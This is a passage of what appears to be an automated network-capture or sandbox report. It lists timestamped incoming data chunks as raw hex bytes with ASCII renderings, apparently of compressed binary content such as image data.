23 31 fe 58 60 c4 2b 70 d7 26 e4 ee 54 09 51 58 90 2c 6c 57 2a e5 fb ee cd 3c 58 Data Ascii: _.f`3"jwMb->j`9xF$OE00@2F$P6/}47tYgH{}mnVI?!)Epa^7ii_-1{w J8]R}uof6ee#$K#(KH:NB((QP>4qVuj_M;#1X`+p&TQX,lW*<X
2022-07-20 04:06:51 UTC	4914	IN	Data Raw: 7e 67 c9 7f 17 c1 e4 d3 3d b3 37 f3 d8 e4 2c a1 a4 c7 3d 46 0c b7 10 01 bb 87 0e a5 be 65 56 fb ba 84 49 55 5c 1e c2 0d 41 f6 52 9a 62 f9 e7 06 48 c4 71 88 a5 b8 49 d4 52 6e 17 05 e5 49 2b dd d5 a5 da 97 e9 24 2a d9 94 1e 6c 7d 9a 9e 45 37 03 2b f2 d5 6e f5 b9 ee 32 1c 7c 94 31 48 d7 b1 8e 78 94 07 00 72 aa 64 ac 5f 25 9b cb 3f e2 74 ff 00 13 4e 36 0c 98 37 78 f1 e7 cc 8d 65 cb c6 90 2c 80 80 c1 e8 dd bd 9c c9 2c 5c ad 1f 77 ab dc e7 d2 04 c8 5c 88 51 f6 e8 e5 8d 10 12 50 b1 6e 60 c1 be 1b e7 8b 95 a4 58 fa 7e ef 3e aa 7d 29 ea 7c 6c 75 91 a6 c0 53 21 0b 62 44 40 a8 50 dd 49 7f 2c 3a 6e f3 79 dd 39 b9 2f d0 9e 57 93 2c 7c b5 6d 31 cc f4 30 6f 67 e9 e2 a8 54 b7 31 27 d0 4d b9 aa 37 37 f3 5b 84 f2 6d 8b d3 50 ac f2 27 57 90 ad c0 7c a5 9a 5e 6e 97 82 28 dd Data Ascii: ~g=7,=FeVIU\ARbHqIRnI+$*l}E7+n2\|1Hxrd_%?tN67xe,,\w\QPn`X~>})\|luS!bD@PI,:ny9/W,\|m10ogT1'M77[mP'W\|^n(
2022-07-20 04:06:51 UTC	4922	IN	Data Raw: 61 6e 3e cd 33 f4 5e 26 0a 4e f9 59 28 b3 43 13 50 5e 40 1d bc ae c3 5d 76 3d cb 6d c6 c6 69 1e 45 87 11 c9 06 39 94 58 c4 f8 93 a9 e1 d7 27 f4 6f a8 0e cb 04 b1 c2 b0 bc a6 8c a2 44 2c cc 7b 3a 51 5b e7 f3 6a e3 1b d3 d9 3b ae 67 e7 b3 f1 96 4c 99 16 ab 05 85 61 83 e1 17 fc d9 3c f2 be b3 37 91 96 dc 34 c5 dd 59 46 31 a4 6c de 64 99 72 f2 2f ef 57 42 c3 10 2d 6b dc fb 34 79 df 76 7c 58 94 6c af 8f 34 f1 b5 16 8a 14 02 7f 86 85 55 51 62 bb bd a6 11 6f fb 84 ec 22 9f 08 34 ac a5 0c b0 95 e2 7b cd 12 dc 7c bc da f7 07 0e 3d b2 fc 5f cb e3 ca 90 f1 ab 73 30 24 70 4b e9 7c bf 16 b9 ef aa 33 70 f1 b2 cc 99 d1 84 14 a1 58 d2 d1 ff 00 4e 9d ef 79 d7 56 d9 c4 cc 3f 29 c8 29 92 0e 5f cd 8d f2 ef fe 5c 4b ed 7f 9b cd 47 c4 63 93 01 cb de 3d eb d5 2a e7 c1 98 72 36 Data Ascii: an>3^&NY(CP^@]v=miE9X'oD,{:Q[j;gLa<74YF1ldr/WB-k4yv\|Xl4UQbo"4{\|=_s0$pK\|3pXNyV?))_\KGc=*r6
2022-07-20 04:06:51 UTC	4938	IN	Data Raw: d8 28 a1 b4 83 46 ea fc 52 78 be 1d 75 78 33 60 dc 71 98 e3 48 0d bc 29 c4 11 c3 b6 8d cd a3 bd 49 b2 62 7a 8f 60 8b 70 8d 02 e5 e2 c3 43 4a 1a d9 cb 2a 3f bc 9d fd 4f ca da 60 b2 17 62 52 1b 13 1b 75 af fa 89 53 fc 34 62 46 82 d7 1e cd 7e 78 cd c7 91 32 5a 2a 10 41 b4 8f d1 ad 70 62 e4 07 2a aa 4f 29 24 53 d8 3b 7e ee 9d 98 b2 31 b2 ad b1 66 49 09 a8 7f fe 8d e1 6d 37 c6 11 2f 53 2b 04 d0 a4 2e 92 46 48 af 3f 22 c8 8d 5e 75 f0 eb d3 49 31 45 b2 a9 27 1b 8f df aa f9 ea 00 bd ac 7b 7b b5 1b 88 f2 4d 3a 42 86 d2 c4 29 3a 71 74 46 b1 dc a4 f9 98 f6 53 4b 22 85 b1 da b2 0e 6a 56 9f a7 5e e1 e3 99 2e 6a 1e 03 8f e8 d1 1c a3 71 e0 38 55 d9 6e 46 b6 b7 1a 63 85 b9 3c 8c 98 d2 1b 56 e1 75 7b 29 e6 6d 3d da 30 36 fc fc c5 9f 12 52 24 86 4b d9 4f 00 c0 77 dd 6e d2 Data Ascii: (FRxux3`qH)Ibz`pCJ?O`bRuS4bF~x2ZApb*O)$S;~1fIm7/S+.FH?"^uI1E'{{M:B):qtFSK"jV^.jq8UnFc<Vu{)m=06R$KOwn
2022-07-20 04:06:51 UTC	4954	IN	Data Raw: a6 66 74 89 40 0c 2b 56 5b ae 23 c2 ff 00 7b 97 97 41 f9 a4 6c 62 2c bd 9e 9a 67 6f 60 6b a8 e3 66 26 12 91 29 3c aa 38 d3 ff 00 cd ab 7d 9d 24 c6 f5 56 2e e7 b9 08 21 4b c1 20 06 24 d0 11 c5 85 a7 c3 ff 00 e1 2c f3 69 ec f8 3f ea 18 ee 95 68 cb 8a 16 5a dd d8 07 b7 50 db 46 c3 2e c3 b8 d0 4a b9 10 46 43 38 53 4a 8a dc 63 95 b9 ba 7f 86 bf 77 5e 4f 65 2e d9 e0 92 29 54 09 0f 03 d3 f7 bd fa 66 4c 81 cd 75 f4 8a 8c df 46 4c d9 39 8c 11 da 15 c8 b9 e8 18 05 66 af 2c 8a dd c7 4e 7e fe 92 07 8d 14 a0 6a 3f 1a d7 b2 9e cd 75 6c cc 9c 5c c7 cd 97 36 c9 b0 07 3d 52 21 14 a1 b9 57 a5 20 c6 1c b2 27 8f ab f2 26 ef 47 25 cd ae 63 b9 be 14 79 37 63 06 29 71 ef 53 bb e0 e7 fe 27 dc 4d 7a ed a1 b1 30 95 25 14 00 8f 6e 57 f8 be 1a 45 b5 3a f6 eb 6a 1a 1c d7 58 e4 48 a4 Data Ascii: ft@+V[#{Alb,go`kf&)<8}$V.!K $,i?hZPF.JFC8SJcw^Oe.)TfLuFL9f,N~j?ul\6=R!W '&G%cy7c)qS'Mz0%nWE:jXH
2022-07-20 04:06:51 UTC	4961	IN	Data Raw: 62 bb 58 40 89 4e 28 35 ff 00 53 db 7f 13 d4 3c b6 92 ef c6 f6 fb 7d 34 8b 6d 29 24 a5 a5 56 99 dc 1a 82 78 93 e6 bf 5f 26 52 e3 ca 41 46 07 e8 fa b4 4e cd 22 ab b7 4d ac 2a 48 57 65 aa 9f f9 ab e0 f8 d7 5e 7a 95 16 37 8d 51 48 76 5b 89 a7 d2 7c 2d e2 5d 1a f7 7f fe 7f ab 52 cc 33 0a 47 55 ec 7d 15 bb 12 6c 2c 8c 85 33 56 b5 ad 1b 85 4f 96 bd dd 63 8c 91 3e 58 58 9a 90 96 ef 1e f2 2f be 3c 56 eb 4e 74 10 26 14 33 33 83 92 ee 78 0e cb 14 0b 5b e2 79 35 a6 3c 95 8e 3b 81 00 1f 60 06 b5 fa 2e d4 5d 5e ee b7 0c 2e 99 7d 47 ba ad 55 68 f4 e5 e1 e8 3d 37 aa cd d2 b8 09 fe 99 13 54 cc 43 5f 4e 04 8e 74 5f 85 f4 2e cf bb cb b3 e4 45 91 0c 8b d5 49 03 30 6e 00 8a 59 d3 f8 2d ef 69 54 33 3e e3 de 91 9e c1 40 09 24 af d1 f6 74 76 1e 5b ec 6e f8 cf d2 97 1a 74 56 66 Data Ascii: bX@N(5S<}4m)$Vx_&RAFN"M*HWe^z7QHv[\|-]R3GU}l,3VOc>XX/<VNt&33x[y5<;`.]^.}GUh=7TC_Nt_.EI0nY-iT3>@$tv[ntVf
2022-07-20 04:06:51 UTC	4977	IN	Data Raw: bf dd d5 3b 64 0c 98 b1 e6 2c 63 08 b4 b4 54 f2 f2 f5 2f f1 dd c9 f0 3a ea 7f 79 c1 7c da b4 24 05 88 00 b4 00 02 2e 58 b8 fb d7 73 73 73 f9 b4 d7 19 d3 02 a8 b2 b4 88 43 f2 9e 02 80 5c b5 5f f3 15 6d 6f e5 fd ad 25 28 0d 12 5b 56 5c b4 a7 87 59 f4 1b 56 ad c2 49 72 9d 04 75 10 c6 a4 b9 a9 a7 cc 0b 2f d9 e5 65 46 4f ef 69 1e e0 b1 a5 ce 51 94 8b 5b 81 14 1c 6c 35 f7 b5 59 85 90 60 c7 ca ad 0a b7 49 c5 c3 94 37 1a dd f1 2c 6b 66 a7 b2 a4 fc fc a8 24 a2 c2 c4 b7 1f 61 3d f6 b7 e1 48 f5 6d bb 10 d6 b5 95 3b 7d 3f cc a8 90 7a f5 35 8e 0e 43 b4 76 fb 1b b7 b2 a3 47 47 9c 9d 11 d3 8d 18 13 6d 69 53 5a fb 3c ba 49 9f 96 30 59 95 b9 24 00 8b 7b 2a 08 d6 1b 6e 51 c8 c7 55 6e c5 e0 38 7b 6b a6 1b 6e 59 7c db 72 de a8 af 6e 5a 7a b8 52 11 40 09 15 05 ae f6 0d 0b 36 Data Ascii: ;d,cT/:y\|$.XsssC\_mo%([V\YVIru/eFOiQ[l5Y`I7,kf$a=Hm;}?z5CvGGmiSZ<I0Y${*nQUn8{knY\|rnZzR@6
2022-07-20 04:06:51 UTC	4993	IN	Data Raw: ce f1 7c 1a d9 81 15 b8 d2 b6 07 34 d6 32 1a 77 ca b1 e7 60 bf 07 2f 2f 85 b4 ff 00 64 92 18 f1 72 51 8a f4 a6 48 81 56 3d be 6f 7b e2 d5 1a 46 66 2c b6 e4 64 40 1f 8f e6 37 96 cd f7 eb 98 47 1a fe 52 dc 8b b3 05 e5 6e 5f cc c6 a4 70 b1 e4 c7 46 7b 7a 8e dc 29 ec b6 9d eb fd dd 3d d8 3f 31 97 5c 29 24 22 1c 85 08 e2 b5 01 6b 55 b2 be 25 d0 f9 7b 6c 9b 3c 92 e1 a5 68 c6 a8 7d c2 2f ed d6 97 c9 c7 9a 27 c3 89 99 2f 65 26 4a 56 81 7c 1e 6e f3 77 b4 7d d4 49 8d 9e ec c7 50 2d d1 e0 6f 83 ab f0 55 3c e3 27 34 63 b3 53 fb b4 b7 37 0d 71 32 24 48 1c bc 6a ec 23 7e cb 94 1e 57 fb 5a d4 ea 20 5a 37 02 7d 9f a7 8e aa b7 4f 4f e3 6d f0 e3 2e 24 e2 43 24 57 4a cc 7c 44 9b 15 55 6e ee ae a7 a7 58 b1 5b f2 f9 42 a1 85 43 0e d5 3a bc 2c 25 81 5c 86 21 b8 33 0c 09 c3 97 Data Ascii: \|42w`//drQHV=o{Ff,d@7GRn_pF{z)=?1\)$"kU%{l<h}/'/e&JV\|nw}IP-oU<'4cS7q2$Hj#~WZ Z7}OOm.$C$WJ\|DUnX[BC:,%\!3
2022-07-20 04:06:51 UTC	5001	IN	Data Raw: b9 a9 5a 0b 9b bd e6 f0 a2 e9 b0 f4 36 f3 b8 c9 73 c0 ed 92 45 48 5b 48 5a 72 db 2f 32 f4 fe d6 b4 1d 87 77 67 30 c7 74 92 63 8b a6 88 29 b9 07 8a eb 79 7b be f6 9b 07 23 6d 2d da 4d 1b c8 17 69 17 9d 6d cb aa e5 8f b6 b9 72 49 ec 54 dc 59 10 ad 4c a8 4d 45 05 0d 38 e8 cc 8b 92 18 51 b8 12 6e a7 d5 fa 75 53 e9 df 43 9d fd 5f a0 82 3e 88 24 bb 13 6b 7d 09 6a dd cd a2 f7 ff 00 41 6e 87 11 73 a6 e9 47 61 01 63 35 ea 11 d8 1d bd df 73 43 69 63 f4 8f ae b9 fe 5a d0 97 8a 46 5f 32 d8 84 1e 33 dd e6 e5 e9 ae 7d 98 8e b1 97 8d 5a d1 4a fd 1a 1b 1f 11 b2 63 79 41 a2 c6 2b 4a 76 ff 00 5f 87 5d 54 7a 17 70 dc 30 96 18 8a 82 e2 85 78 77 a9 dd f3 6a 73 17 d1 d9 c3 12 68 c9 55 28 e5 1a a6 9c 47 7b b3 52 92 46 c8 1d 48 60 47 11 50 7e 5c 53 11 13 09 85 ae d8 f7 1b 9b 92 Data Ascii: Z6sEH[HZr/2wg0tc)y{#m-MimrITYLME8QnuSC_>$k}jAnsGac5sCicZF_23}ZJcyA+Jv_]Tzp0xwjshU(G{RFH`GP~\S
2022-07-20 04:06:51 UTC	5017	IN	Data Raw: 97 ee 69 33 00 24 aa 9e 62 74 5b 71 ca 82 bf 23 c9 11 bc d5 06 5b 64 9d f8 f2 ea a9 54 c4 ca c3 81 b3 44 0c 21 1c ac c2 86 95 f8 bb ba 22 6d b6 69 16 09 25 4e 9a d2 d7 20 d6 45 14 b9 5a 41 fc 3f 72 ed 50 ef 18 bb 86 53 cd 3c c2 ae a8 bd 68 ef 05 e9 18 8c 99 5d 2b f3 23 6b 6f b9 6f f3 6b 3c 0d e3 39 b1 e7 8e 51 29 89 f1 dd 4f 21 35 af 2a f3 53 bb d4 6d 30 9b 68 83 64 72 b8 5c ae dc b7 c7 aa 9f 8f e4 1b 74 fc c3 27 98 aa 11 9a 3c b1 cb c6 b9 7e 1a 9c 3b 4e d9 d1 75 37 c7 22 86 2b 25 d5 fa d5 5e 2a 5a df 67 a7 a1 76 48 71 c8 2f 95 0b ba 52 89 47 b7 8f 89 fb 1b 4f 33 93 34 63 1d b2 61 f9 78 b2 15 48 b9 41 14 bb f1 ae 5e fb f9 ad e6 fe 1e 8b dc 36 18 70 a1 55 c6 73 24 90 5a 84 a9 b8 38 7f c3 e4 b5 5a 1e 6e 57 ff 00 99 a9 9a 36 2a 64 6b e2 0d ec bc aa bf e9 d6 Data Ascii: i3$bt[q#[dTD!"mi%N EZA?rPS<h]+#kook<9Q)O!5Sm0hdr\t'<~;Nu7"+%^ZgvHq/RGO34caxHA^6pUs$Z8ZnW6*dk
2022-07-20 04:06:51 UTC	5033	IN	Data Raw: e3 ae 2a a4 76 fd 75 0f 99 e9 ad ea 19 1a 31 87 34 f1 8e cf 60 27 de 2a dc f6 f9 b5 a7 33 d3 db 8e 5a a3 e2 6d 73 61 64 44 2a e4 31 2a d4 ee ba 5f 73 75 6e d7 40 8b d4 53 0e c7 4f d0 c0 8f fc 35 97 ff 00 25 c8 5e d0 8d f4 10 68 34 65 f9 96 ed 6e 04 51 dc fb ff 00 b5 50 51 09 24 f6 8b 11 51 a9 b8 6e 90 64 22 ee 38 33 cd 2a 8a 19 d8 3d c0 53 ba 15 16 cb 7f 6b 48 7d 7d be 3e 54 50 e2 3a 74 df f1 18 18 d9 1b ca 8b f3 3b c9 ae ac 9e a4 95 09 24 13 51 c0 02 38 1d 22 de 9a 3d f4 91 99 14 72 7d 05 94 5d f7 86 af b3 de 2c 7b 94 9a 48 40 09 e0 7f d5 6a b6 2b 63 cd d9 61 5c 4a 39 6b 4a 9a fd 5a eb 3f ed f6 da fb c6 d8 d8 d1 7c bf 9b 57 96 d6 26 da 77 17 a7 6f 36 83 5f 47 6d c3 83 c2 9c 7e 86 60 7f f1 d5 76 c1 27 fa 06 38 c6 c0 5b 62 0c 5a 9d a6 a7 f4 f3 6b 5b 7f f3 Data Ascii: vu14`'3ZmsadD1_sun@SO5%^h4enQPQ$Qnd"83*=SkH}}>TP:t;$Q8"=r}],{H@j+ca\J9kJZ?\|W&wo6_Gm~`v'8[bZk[
2022-07-20 04:06:51 UTC	5040	IN	Data Raw: 43 09 d5 04 e9 5b 6d 51 1d bd 58 e2 b5 6e 89 59 3f 87 76 95 e4 ec f3 41 5c 39 4a dc c0 15 90 10 ca 53 f1 0c 91 49 e2 4b 53 f7 34 cf 07 d3 f8 79 78 6b 91 8d 34 98 c6 9d 36 bf e6 07 b8 d8 39 63 08 f1 ad df 89 f8 9c 9a 14 53 06 ca 37 ea bb 29 53 ee b3 d0 e6 9e 09 a3 cc f1 47 18 48 83 2c 7b e9 97 7b e1 a4 8f d0 cc 00 1e 59 d4 5b 71 60 16 d3 e6 bb 97 97 4b 66 d9 33 31 e7 38 ce 97 ca 28 43 45 ce ae ad cc 8f 1b 27 87 be bf 63 4e 66 f4 d7 24 b1 c1 93 0c 8f 0b f3 a2 96 ad b5 b6 f8 ef 44 46 54 ef c9 e2 d3 4d bb 73 87 26 49 76 f5 e1 04 51 9b 64 a7 31 29 fc 45 6e f2 f9 fe d6 82 a0 42 a1 f5 57 1a 9f 00 ff 00 15 41 0e b2 0d ce d6 47 18 ff 00 1a 22 39 30 e5 ee b7 8e a6 a0 8b f2 a1 f1 72 cb 42 1a 8a fc bc c3 88 7f c3 7b 34 e3 78 da b6 fc 30 8f 86 e6 50 c8 6a 6b d8 c2 de Data Ascii: C[mQXnY?vA\9JSIKS4yxk469cS7)SGH,{{Y[q`Kf318(CE'cNf$DFTMs&IvQd1)EnBWAG"90rB{4x0Pjk
2022-07-20 04:06:51 UTC	5056	IN	Data Raw: c9 8f da e7 ab 33 33 65 ae ac 08 07 d1 96 35 5d bb fa 9e 43 29 31 80 e9 16 4c 68 92 10 6c a0 e1 23 f9 6e 79 39 57 e1 d6 4b ea c8 b2 b7 5c 8c 4b 96 da 24 68 f5 e5 36 9b a6 fd ad 42 bc eb 3e 3c 5b 64 ec 62 98 a0 92 24 73 c8 0f 95 9b cc cb e6 d6 b8 30 e5 c6 c5 92 45 25 1a 26 e7 72 3d 84 f7 59 bd ff 00 0e 86 bf 2e 87 1c 48 b3 74 af dd fc cf b9 f8 ab a4 91 8f 0d 0b 58 7d 43 2c ab a0 6e de bf 58 32 db 17 09 04 e9 08 ac 85 3b 49 f2 a5 dc bd 35 fe 23 fd cd 34 cb f5 5e df 8f 8f 24 f4 25 a3 21 68 17 b5 88 be d4 f3 5b e3 d7 19 cf cd 92 90 98 63 11 8a 51 a4 01 be 6b 56 f6 63 23 77 97 e1 d3 dc 53 0e 40 9a 2e bf 4c e4 48 1d ee 21 80 23 b6 26 9b 95 ad bb ca bf 7b 4e c1 fe d6 6d d2 8f 25 79 a3 00 ba e5 84 92 2f 8f e9 e2 a6 b6 f1 6e 37 52 11 0a 65 65 0c 53 d8 e6 e6 ae a9 Data Ascii: 33e5]C)1Lhl#ny9WK\K$h6B><[db$s0E%&r=Y.HtX}C,nX2;I5#4^$%!h[cQkVc#wS@.LH!#&{Nm%y/n7ReeS
2022-07-20 04:06:51 UTC	5072	IN	Data Raw: 01 88 56 cc f0 5e 6a b9 d5 6d da 74 ae a9 b4 82 61 c6 c5 b4 34 90 20 22 40 28 a5 4a 1e af d8 e4 47 d5 40 88 e4 e3 ae 1d 79 19 0d 0f d6 87 53 cf b9 b6 06 44 29 65 ff 00 25 81 1d 94 bb cd ee c7 fe 1d 7b bd 66 65 e1 60 e1 65 42 e4 32 92 64 23 8d 0b 7c d5 57 f7 79 b5 e2 a5 8d e5 75 b5 97 33 75 bf 8b 9d be 9e f5 04 11 6e 34 c7 33 13 fd 4f 13 35 a3 00 ca f2 14 42 07 90 05 fd bd 6d da b6 9f c9 f4 a2 0c 48 88 bf 69 a9 25 bb f7 7d cd 69 d8 32 64 e9 c5 8e c2 b1 ca 4b 5c 2b 5b aa 5d ea da 33 03 2c 48 ef 3b 70 00 50 0f d3 c5 b4 bc 86 45 0d 18 3c a0 e9 ff 00 95 5c 4f 6f e8 ad 32 6e 31 e4 f5 3a 4e 44 b6 98 cf 1a 53 8b 48 cd ff 00 4d 74 b1 72 e3 93 05 25 ed 7c dc 8f 94 87 89 11 2b 5a cf fb 72 bf f9 92 69 44 ca 18 cd 13 3a c2 ac d7 19 1b c2 86 fb fa 63 bc d2 3a b5 96 2e Data Ascii: V^jmta4 "@(JG@ySD)e%{fe`eB2d#\|Wyu3un43O5BmHi%}i2dK\+[]3,H;pPE<\Oo2n1:NDSHMtr%\|+ZriD:c:.
2022-07-20 04:06:51 UTC	5077	IN	Data Raw: 1c 0f 0a 57 b0 dd 3b 0e a7 0b 72 56 df d0 14 da df af 76 8d c5 82 4c 76 78 cb 0e aa b3 c8 a4 7d 37 2b ad 3e ce b0 c0 66 c2 38 eb 0d ac 1d f9 b8 54 85 ef 3b 2f c0 bd ed 67 b7 d4 07 74 65 ea 53 94 b7 65 5a d2 cb fb ba 99 49 25 98 5b 13 c0 55 43 10 e1 3b 6c 7e ee 14 2a 43 1a cc b1 a9 24 ce 5c 92 7d 82 95 44 fb da 2f 61 db 8a a3 64 c8 41 ac 92 35 7e ba 5a 3e ef 53 59 c5 87 ff 00 79 0c cb dd 8d 99 58 7d 1c 3a 89 a6 d8 d0 08 f6 e3 6f 0a 4c e4 7d fd 0a 69 ac a1 41 eb b0 3f 7e 8a 01 20 9f 40 ff 00 b6 a7 63 ce 7c 8d ce 25 71 48 d9 e4 5a fd 21 09 e1 fb 3a df b8 c7 3b 44 c3 80 8e 59 04 a4 9e f5 b5 40 ff 00 66 fe 5d 6e 1b 5c 9b 76 41 15 ba 00 5e 60 4d 3b c4 32 59 f6 2e fd 9d 7b bd 46 99 18 f1 4a 58 dc 23 11 05 1e db 80 67 fd 4f d7 d5 b3 53 22 61 6c 6d c6 ab a8 52 06 Data Ascii: W;rVvLvx}7+>f8T;/gteSeZI%[UC;l~*C$\}D/adA5~Z>SYyX}:oL}iA?~ @c\|%qHZ!:;DY@f]n\vA^`M;2Y.{FJX#gOS"almR
2022-07-20 04:06:51 UTC	5093	IN	Data Raw: c6 2e 14 63 ec 40 a4 7e d6 bb cb 0a 75 8b 51 c2 dc d5 d7 a0 57 3f 20 71 a1 53 ed 35 14 fe dd 65 0c 8f 90 d6 aa b1 34 fa 09 3a 31 f7 1d be 48 fa 65 2a 09 ab 0b 41 ec d0 6f 9b 0b 54 e3 a0 43 c3 89 1f fd ed 14 5c f0 42 a6 bb ea a7 30 ed b9 ae a1 18 80 87 8d 19 7b 0d 3e d6 80 c8 8a 7a 13 30 42 29 40 ac 07 dd ae 86 7d c6 70 4a a3 b1 52 3b 18 f1 d0 8b 36 4c 8d 45 ab 8a f6 9f a7 50 91 bf 13 88 fd 15 c3 41 5b 24 28 ed 7c 6a a0 0f 62 9a 7d eb 6d bb 58 bc 97 9b 8f b0 52 bf 56 b5 48 f2 54 89 14 87 ec d6 a1 1d d4 00 d0 76 f1 d3 01 6b 8b 7a 68 89 24 01 83 29 60 6b ec 27 b4 7c 3a ca 37 32 49 74 f4 70 40 a5 5b 88 20 fd 2d a1 e4 2c 9f 86 c9 21 3e d5 6b 87 f8 75 f0 bb da 2b c3 88 ed d1 24 85 e2 38 48 0a 37 85 b9 5a a0 37 68 34 5a e4 3c 2d 58 41 55 24 fb 6b 41 fd 7a de 9b Data Ascii: .c@~uQW? qS5e4:1He*AoTC\B0{>z0B)@}pJR;6LEPA[$(\|jb}mXRVHTvkzh$)`k'\|:72Itp@[ -,!>ku+$8H7Z7h4Z<-XAU$kAz
2022-07-20 04:06:51 UTC	5109	IN	Data Raw: 07 b8 9c 6d d2 66 8b 27 14 e1 ce 7f 15 18 32 a9 7e f5 6f 8d b9 2e ef 7e 0a 2f bf a4 7b e3 61 6d 19 f2 24 d7 4e 03 1b 15 bb ed ff 00 3a 46 e6 e9 a3 78 ae be 4f 05 bd ed 1c 7d 48 de a7 99 20 9c 24 33 aa 14 c7 60 38 54 0e 48 24 bb e6 48 8d 6f 23 34 9c 8f ab 94 43 b6 0d 19 75 0a 03 ae 9c 7c 58 fb bd fa 34 85 de c0 73 37 a2 fc 3d d7 fd 4a dd d0 c7 d9 d9 25 92 65 8c 54 54 13 7d be da fc ab 9d d7 f5 ee e5 6d 6a dd 37 f4 44 59 25 05 a7 9c 92 02 d0 71 ad d7 71 f7 9f 51 7b 9a e5 e3 e4 37 fa 87 0b 56 f5 a7 74 8f 0b 25 34 5e e1 31 26 19 d8 70 8a 3b e9 f5 b7 87 5c 36 6a 4a 33 b6 64 df 98 70 f6 56 b8 5f 87 f7 56 f9 f3 64 fa 6b d3 e1 5f a7 4c f6 d6 ae 04 90 05 26 66 93 a9 75 7c 16 b5 c9 4f 8b 9b ec 79 b4 ab 30 a3 22 b4 5c 63 91 6e 43 f5 1f de 56 e5 6d 16 0c df 91 92 48 Data Ascii: mf'2~o.~/{am$N:FxO}H $3`8TH$Ho#4Cu\|X4s7=J%eTT}mj7DY%qqQ{7Vt%4^1&p;\6jJ3dpV_Vdk_L&fu\|Oy0"\cnCVmH
2022-07-20 04:06:51 UTC	5117	IN	Data Raw: 11 18 e2 53 d3 ef 57 ff d5 e9 b1 65 09 63 b4 10 25 3c ad fa 40 bb f6 75 89 4b 40 60 b7 c4 8c 18 7d 22 bc a6 eb bc 0b 1b 69 4e 0c 02 39 9d 72 1d 5a 20 58 43 14 47 87 31 e7 93 25 5f bf 37 77 c7 a6 30 e7 63 36 42 e2 28 61 2d aa 68 47 02 29 6a f7 b9 1b e1 4e 7d 7c 7d e2 09 d1 cc 2d 91 b7 76 b4 b4 ec e3 58 44 d0 4f 2b 04 04 3d f6 b0 20 7b 39 8d 3f a7 83 42 49 84 31 67 79 52 4a 1b 81 2a c6 82 a7 9a 3b 4d bf 31 9f bb 67 9f 4d 0e d9 13 64 8c c2 1a f5 a8 01 78 0e 22 8d 77 9b dc d6 d9 33 31 a2 fc 43 c4 b2 aa dd ed 27 b9 67 87 50 24 d6 d1 82 d7 1c cb 5c 3f bf b6 91 4d bc e2 c4 1c 4e 8d 02 c6 a6 95 14 25 eb cf d3 fe 65 9f d3 c5 a2 0c cf 9b 14 0f 8a 2f 46 f9 b5 3c 05 1b 95 62 7f 12 bb 5d f6 2d d7 9b c1 c1 9a 9b 84 f1 1c 83 8c c7 a6 2a 78 35 42 dc a9 e3 b5 a3 f8 75 b7 Data Ascii: SWec%<@uK@`}"iN9rZ XCG1%_7w0c6B(a-hG)jN}\|}-vXDO+= {9?BI1gyRJ;M1gMdx"w31C'gP$\?MN%e/F<b]-x5Bu
2022-07-20 04:06:51 UTC	5133	IN	Data Raw: 0d 68 99 0c ce 01 e3 c3 b7 59 a0 30 a3 20 b8 28 3f 4f 0b 9b 85 ca ba c8 1b 24 15 e6 14 a1 03 81 a9 d6 cc a0 d1 87 59 a8 1d bb bc 7f 5b de d1 1c ea 07 61 ec a9 20 71 a1 8c ef 21 20 37 03 ec fd 3a 33 0b a7 14 66 49 14 14 e3 db 4a 12 38 d1 b8 ae 82 c7 ba 32 1d 39 4a b5 39 85 75 88 0b 23 d2 42 6c 1d b4 e3 a1 15 06 eb d9 db 51 7a dc 1e c8 65 02 85 19 4a 9e 1d b5 6e 5e f7 71 b4 7e 32 b3 63 c6 23 6e 2b 1d ad 51 d8 0f 7b e2 5f d7 d0 71 c8 8e a8 c6 a1 10 90 40 02 a4 12 bd 26 fb 36 eb 44 f9 0e d9 01 91 98 a8 1c 2a 7e d7 bb ae 2b 9f 4e 96 25 b5 a8 06 d4 68 85 de 31 c6 e0 94 01 78 0e df 31 fd 9d 79 80 92 44 cd 90 47 05 a9 8c b0 e0 4f b5 95 5b 5a 57 74 71 09 81 79 55 8d 5e 9d a7 c5 fa be 1d 1d 83 b9 29 6e 6e d5 5e 0c dc 78 d2 de 7f dd d0 9b 30 a6 e3 43 d9 ea ab dc 5e Data Ascii: hY0 (?O$Y[a q! 7:3fIJ829J9u#BlQzeJn^q~2c#n+Q{_q@&6D*~+N%h1x1yDGO[ZWtqyU^)nn^x0C^
2022-07-20 04:06:51 UTC	5149	IN	Data Raw: 7e 68 19 41 5b 00 2c 2d 20 f6 8f 64 97 73 24 76 fe b7 82 dd 78 d9 53 4a a6 49 6c 35 e2 b6 51 55 40 15 fc 45 b6 49 39 63 f1 5f cd a1 77 bd a3 23 33 14 62 c2 03 ab 90 c5 c1 e6 b4 15 2c 8b f6 6e 8f 5a 3f d2 72 84 a9 0e 03 20 8e da ca e7 b3 f9 69 62 db cd 2d 91 df 2f 83 c5 e6 d1 91 21 c0 10 55 5b 5b df d0 2a 9c c6 e2 d4 64 d9 f9 25 01 c6 21 d1 14 1b 90 76 03 dd 47 f8 6d 5b 35 a6 09 66 ce 91 fa aa 13 82 dc 24 1d a0 f7 7d f6 d1 f1 6d 86 cb 62 2a b0 8a 5c cb 45 a9 ef 3f 2b dd cb e3 4f e2 27 dd 4d 66 b0 47 69 6e fd 40 b4 13 69 f7 2e 63 f6 79 5f bd aa 79 91 80 42 81 7f 4f 7a b8 c6 dc 4f 0a d1 f9 8c 87 0f 8a d4 ea 22 a8 8d 3b a2 a4 73 71 e5 e4 b7 b9 a0 5f 70 96 27 48 6d 6b 82 dc c5 ab cb 41 ce be 2b 99 59 ee fd 7f 7b 44 e4 c4 d2 e5 46 c1 0c 99 0a 82 40 d5 22 95 f2 Data Ascii: ~hA[,- ds$vxSJIl5QU@EI9c_w#3b,nZ?r ib-/!U[[d%!vGm[5f$}mb\E?+O'MfGin@i.cy_yBOzO";sq_p'HmkA+Y{DF@"
